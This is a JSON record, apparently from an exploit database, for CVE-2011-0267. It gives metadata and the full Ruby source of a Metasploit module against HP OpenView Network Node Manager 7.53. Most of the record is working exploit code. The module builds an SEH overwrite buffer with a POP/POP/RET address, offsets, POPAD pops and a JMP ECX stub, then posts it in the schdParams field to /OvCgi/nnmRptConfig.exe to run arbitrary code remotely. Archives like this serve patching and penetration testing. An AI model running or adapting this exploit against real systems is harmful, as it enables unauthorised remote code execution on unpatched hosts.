{"exploit":{"id":"EDB-17038","name":"HP OpenView Network Node Manager (OV NNM) - 'nnmRptConfig.exe schdParams' Remote Buffer Overflow (Metasploit)","description":"HP OpenView Network Node Manager (OV NNM) - 'nnmRptConfig.exe schdParams' Remote Buffer Overflow (Metasploit)","cves":["CVE-2011-0267"],"author":"Metasploit","published":"2011-03-24","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17038","path":"exploits/windows/remote/17038.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17038.rb","vulnerabilities":[{"id":"CVE-2011-0267","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple buffer overflows in nnmRptConfig.exe in HP OpenView Network Node Manager (OV NNM) 7.51 and 7.53 allow remote attackers to execute arbitrary code via a long (1) schdParams or (2) nameParams parameter, a different vulnerability than CVE-2011-0266.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-0267","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-0267"},"updatedAt":"2024-08-06T21:51:07.906Z","retrievedAt":"2026-11-27T10:11:06.826Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17038.png?v=2","url":"https://exploitbin.com/exploits/EDB-17038","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17038/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17038/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: hp_nnm_nnmrptconfig_schdparams.rb 12121 2011-03-24 00:49:33Z swtornio $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\tinclude Msf::Exploit::Remote::Seh\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'        => \"HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow\",\n\t\t\t'Description' => %q{\n\t\t\t\tThis module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,\n\t\t\t\tthe overflow occurs during a ov.sprintf_new() call, which allows an attacker to\n\t\t\t\toverwrite data on the stack, and gain arbitrary code execution.\n\t\t\t},\n\t\t\t'License'     => MSF_LICENSE,\n\t\t\t'Version'     => \"$Revision: 12121 $\",\n\t\t\t'Author'      => ['sinn3r'],\n\t\t\t'References'  =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2011-0267'],\n\t\t\t\t\t['OSVDB', '70473'],\n\t\t\t\t\t['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],\n\t\t\t\t],\n\t\t\t'Payload' =>\n\t\t\t\t{\n\t\t\t\t\t'BadChars' => \"\\x00\\x26\\x2b\",\n\t\t\t\t},\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'ExitFunction' => \"seh\",\n\t\t\t\t\t'AutoRunScript' => 'migrate -f',\n\t\t\t\t},\n\t\t\t'Platform' => 'win',\n\t\t\t'Targets'  =>\n\t\t\t\t[\n\t\t\t\t\t[\n\t\t\t\t\t\t'NNM 7.53 - Windows Server 2003 Ent', {\n\t\t\t\t\t\t\t'Ret'           => 0x5A30532D,  #POP/POP/RET OvWww.dll\n\t\t\t\t\t\t\t'Offset'        => 46919,       #Offset to SEH chain\n\t\t\t\t\t\t\t'Pops'          => 13,          #Number of POPADs needed to find a bigger space with our payload\n\t\t\t\t\t\t\t'Payloadoffset' => 57,          #Offset to the payload\n\t\t\t\t\t}],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => \"Jan 10 2011\"))\n\n\t\t\tregister_options( [Opt::RPORT(80)], self.class )\n\tend\n\n\tdef exploit\n\t\tnops = make_nops(1000)*70\n\n\t\tsploit  = nops[0, target['Offset']]\n\t\tsploit << generate_seh_record(target.ret)\n\t\tsploit << \"\\x61\"*target['Pops']\n\t\tsploit << \"\\xff\\xe1\"  #JMP ECX\n\t\tsploit << nops[0, target['Payloadoffset']]\n\t\tsploit << payload.encoded\n\t\tsploit << \"\\x44\"*(70000-sploit.length)\n\n\t\tdata  = \"Content&Action=Create&\"\n\t\tdata << \"Template=Avail/CRAvail&\"\n\t\tdata << \"Operation=Apply&\"\n\t\tdata << \"Params=schdParams+nameParams&\"\n\t\tdata << \"schdParams=#{sploit}%7Cmonthtodate&\"\n\t\tdata << \"nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1\"\n\n\t\tconnect\n\t\tsend_request_raw({\n\t\t\t'uri'     => '/OvCgi/nnmRptConfig.exe',\n\t\t\t'data'    => data,\n\t\t\t'version' => '1.1',\n\t\t\t'method'  => 'POST',\n\t\t\t'headers' => {\n\t\t\t\t'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n\t\t\t\t'Accept-Language' => 'en-us,en;q=0.5',\n\t\t\t\t'Accept-Encoding' => 'gzip,deflate',\n\t\t\t\t'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',\n\t\t\t\t'Keep-Alive'      => '300',\n\t\t\t\t'Connection'      => 'Keep-Alive',\n\t\t\t\t'Cache-Control'   => 'mag-age=0',\n\t\t\t\t'Content-Length'  => data.length,\n\t\t\t\t'Content-Type'    => 'application/x-www-form-urlencoded',\n\t\t\t}\n\t\t}, 3)\n\n\t\thandler\n\t\tdisconnect\n\tend\nend","sha256":"e55fc509f32ea01cfdc845da7e208dbbca3232228583626eb44bf2fc0c2f3756","bytes":3055,"fetchedAt":"2026-11-27T10:11:01.945Z","encoding":"utf-8 (display only; download retains original bytes)"}